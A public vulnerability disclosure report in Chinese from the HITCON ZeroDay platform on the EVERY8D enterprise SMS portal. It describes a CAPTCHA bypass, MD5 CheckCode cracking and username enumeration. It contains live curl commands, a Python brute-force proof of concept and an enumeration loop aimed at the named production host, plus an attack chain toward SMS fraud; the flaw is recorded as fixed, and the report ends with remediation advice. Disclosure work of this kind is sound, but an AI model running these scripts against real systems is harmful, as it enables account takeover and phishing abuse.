Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00633
- Vendor: 互動資通股份有限公司
- Title: 互動資通 EVERY8D 企業入口 CAPTCHA 雙重繞過 — CheckCode MD5 洩漏 + 登入端點無伺服器端驗證
- Introduction: 企業入口登入端點完全不驗證 CAPTCHA,且 CheckCode 為 MD5 洩漏,可無限制暴力破解帳號密碼。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/05/06 01:31:06 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/09 17:54:51 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:49:03 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:49:03 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:49:03 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/06 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2026/07/06 11:06:11 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/08 15:12:25 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/29 12:10:12 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/08/01 14:47:35 : 確認已修補 (由 罐頭 更新此狀態)
- 2026/08/05 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00633
- 通報者:guan4tou2 (罐頭)
- 風險:高
- 類型:邏輯漏洞 (Logic Flaws)
參考資料
漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic
漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
相關網址
https://every8d.teamplus.tech/every8d30/Common/CheckHandler.ashx
https://every8d.teamplus.tech/every8d30/Account/AccountHandler.ashx
https://every8d.teamplus.tech/every8d30/login.aspx
敘述
漏洞概述
EVERY8D 企業 SMS 管理入口 https://every8d.teamplus.tech/every8d30/ 的登入機制存在雙重設計缺陷:
缺陷一:CheckCode = MD5(lowercase CAPTCHA 文字)
GET /Common/VerifyCodeImage.aspx?ISDB=true&ISBase64=true 回傳:
{
"IsSuccess": true,
"Base64String": "data:image/gif;base64,R0lGODlh...",
"CheckCode": "41F97A0C2831403F22D9D93EC5E7C4A0"
}
CheckCode 為 CAPTCHA 圖片中可見文字(轉小寫)的 MD5 雜湊值。4 字元英數組合僅有 1,679,616 種可能(36^4),暴力破解耗時 < 2 秒。
缺陷二:登入端點無伺服器端 CAPTCHA 驗證(更嚴重)
前端 JavaScript 在呼叫 /Account/AccountHandler.ashx?action=login 之前會呼叫 /Common/CheckHandler.ashx 驗證 CAPTCHA,但 AccountHandler.ashx 完全不驗證此步驟是否已完成,可直接跳過。
重現步驟(Live verified: 2026-05-06)
步驟 1:確認 CheckCode = MD5(lowercase CAPTCHA 文字)
# 取得 CAPTCHA
curl -s 'https://every8d.teamplus.tech/every8d30/Common/VerifyCodeImage.aspx?ISDB=true&ISBase64=true' | \
python3 -c "import sys,json; d=json.load(sys.stdin); print('CheckCode:', d['CheckCode'])"
# 輸出:CheckCode: 41F97A0C2831403F22D9D93EC5E7C4A0
# 驗證:圖片顯示 "KDV7"
python3 -c "import hashlib; print(hashlib.md5('kdv7'.encode()).hexdigest().upper())"
# 輸出:41F97A0C2831403F22D9D93EC5E7C4A0 ← 完全吻合
步驟 2:確認 AccountHandler.ashx 完全不驗證 CAPTCHA(核心漏洞)
# 直接呼叫登入端點(不經過任何 CAPTCHA 流程)
curl -s -X POST 'https://every8d.teamplus.tech/every8d30/Account/AccountHandler.ashx' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'action=login&userId=testuser_bypass_test&password=WrongPass123&isApi20=false&IP='
實測輸出(2026-04-29):
{
"result": false,
"message": "帳號或密碼錯誤,若有疑問,請聯繫客服人員協助處理,感謝您!",
"page": null,
"needMFA": false,
"businessAccount": false
}
→ 回傳帳號或密碼錯誤(而非 CAPTCHA 錯誤),確認伺服器端完全不驗證 CAPTCHA。
步驟 3:完整自動化暴力破解 PoC(含 CheckCode MD5 破解)
import itertools, hashlib, string, requests
BASE_URL = 'https://every8d.teamplus.tech/every8d30'
def get_captcha_and_crack():
"""取得 CheckCode 並暴力破解 MD5"""
resp = requests.get(f'{BASE_URL}/Common/VerifyCodeImage.aspx?ISDB=true&ISBase64=true')
check_code = resp.json()['CheckCode']
charset = string.digits + string.ascii_lowercase # 36 字元
for length in range(3, 7):
for combo in itertools.product(charset, repeat=length):
candidate = ''.join(combo)
if hashlib.md5(candidate.encode()).hexdigest().upper() == check_code:
return candidate.upper(), check_code # 2 秒內找到(4 字元)
return None, check_code
def bypass_captcha_check(captcha_text, check_code):
"""通過 CheckHandler.ashx CAPTCHA 驗證"""
r = requests.post(f'{BASE_URL}/Common/CheckHandler.ashx',
data={'action': 'check', 'checkCode': captcha_text, 'ISDB': 'false', 'VerifyCode': check_code})
return r.text.startswith('0000') # 0000 = 成功
def try_login(userid, password):
"""直接呼叫登入端點(跳過 CAPTCHA 流程)"""
r = requests.post(f'{BASE_URL}/Account/AccountHandler.ashx',
data={'action': 'login', 'userId': userid, 'password': password,
'isApi20': 'false', 'IP': ''})
return r.json()
# 暴力破解示範(方法 A:直接繞過,無需 CAPTCHA)
TARGET = 'target_enterprise_account'
for pw in ['password', '123456', 'every8d2024', 'admin123']:
result = try_login(TARGET, pw)
if result.get('result'):
print(f'[!] LOGIN SUCCESS: {TARGET}:{pw}')
break
print(f'[-] {pw}: {result["message"]}')
實測輸出(2026-04-29):
[-] password: 帳號或密碼錯誤,...
[-] 123456: 帳號或密碼錯誤,...
(收到帳密錯誤而非 CAPTCHA 錯誤 → CAPTCHA 完全繞過確認)
前端 CAPTCHA 流程與伺服器端不一致分析
前端 JavaScript 設計(login.aspx):
function isOpenVCLogin() {
if ('True' == 'True') { // CAPTCHA 永遠啟用(硬編碼)
apply(); // → 先驗 CheckHandler.ashx,再呼叫 AccountHandler.ashx
} else {
login(); // 直接登入
}
}
但 AccountHandler.ashx 不會檢查「是否已通過 CheckHandler.ashx 驗證」,使得 CAPTCHA 成為純客戶端檢查,完全可被繞過。
步驟 4:帳號枚舉(User Enumeration via Lv Error Code)
# 存在帳號 vs 不存在帳號的錯誤訊息差異
for user in "xyzzy12345nonexistent" "aaabbbccc99999" "test" "jack"; do
MSG=$(curl -s -X POST 'https://every8d.teamplus.tech/every8d30/Account/AccountHandler.ashx' \
-d "action=login&userId=$user&password=WrongPass&isApi20=false&IP=" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('message',''))")
echo "$user: $MSG"
done
實測輸出(2026-04-29):
xyzzy12345nonexistent: 帳號或密碼錯誤,若有疑問,請聯繫客服人員協助處理,感謝您!
aaabbbccc99999: 帳號或密碼錯誤,若有疑問,請聯繫客服人員協助處理,感謝您!
test: 帳號或密碼錯誤(Lv6),若有疑問,請聯繫客服人員協助處理,感謝您!
jack: 帳號或密碼錯誤(Lv6),若有疑問,請聯繫客服人員協助處理,感謝您!
→ (LvN) 後綴僅在帳號存在時出現,可明確區分有效帳號。
完整攻擊鏈
1. 批次枚舉有效帳號(/(LvN)/ pattern 過濾)
2. 對確認有效帳號直接呼叫 AccountHandler.ashx(無 CAPTCHA、無速率限制)
3. 暴力破解常見密碼
4. 取得 EVERY8D 企業帳號存取權限
→ 讀取 SMS 傳送記錄(含客戶手機號)
→ 濫用 SMS 預算傳送詐騙/釣魚簡訊
→ 操控雙因素驗證流程
與同系列漏洞的關係
本漏洞屬於同公司(互動資通)CAPTCHA 機制系統性缺陷的延伸:
| 系統 | 漏洞機制 | 影響端點 | 已回報 |
|---|---|---|---|
| SafeSay/TeamPlus BAPI(6 端點) | data_code = 明文 CAPTCHA 解答 |
/v1/token 登入 |
ZD-2026-00614 |
| EVERY8D 企業入口 | MD5 洩漏 + 登入端點無驗證 | /Account/AccountHandler.ashx |
本通報 |
已驗證影響(Verified)
- ✅
AccountHandler.ashx直接接受登入請求(無需 CAPTCHA 驗證)— 2026-04-29 實測 - ✅
VerifyCodeImage.aspx回傳CheckCode = MD5(lowercase CAPTCHA)(確認) - ✅
CheckHandler.ashxCAPTCHA 驗證:知道 CheckCode 即可通過(確認) - ✅ 登入錯誤訊息洩漏帳號存在狀態(帳密錯誤 vs 帳號不存在可能有差異)
潛在影響(Potential)
- 攻擊者可對所有 EVERY8D 企業帳號發動無限制自動化暴力破解
- 每個帳號掌管其組織的 SMS 傳送預算、收件人名單及 2FA 簡訊服務設定
- 攻陷高餘額帳號可大量濫發 SMS(詐騙、釣魚)
- 與 ZD-2026-00631(SMS API 憑證洩漏,帳號餘額)組合,形成完整 SMS 濫用攻擊鏈
修補建議
1. 立即:在 AccountHandler.ashx 的 login action 中加入伺服器端 CAPTCHA 驗證(Session token 或 HMAC 機制)
2. 立即:VerifyCodeImage.aspx 不應回傳可被逆向的 CheckCode 欄位;改為 Session-based server-side token
3. 短期:對 AccountHandler.ashx 加入速率限制(每 IP/帳號每分鐘最多 N 次嘗試)
4. 短期:考慮遷移至 hCaptcha 或 Google reCAPTCHA v3 等無法被客戶端逆向的 CAPTCHA 方案
5. 即時驗證:修補後確認繞過 CheckHandler.ashx 直接呼叫 AccountHandler.ashx 會被拒絕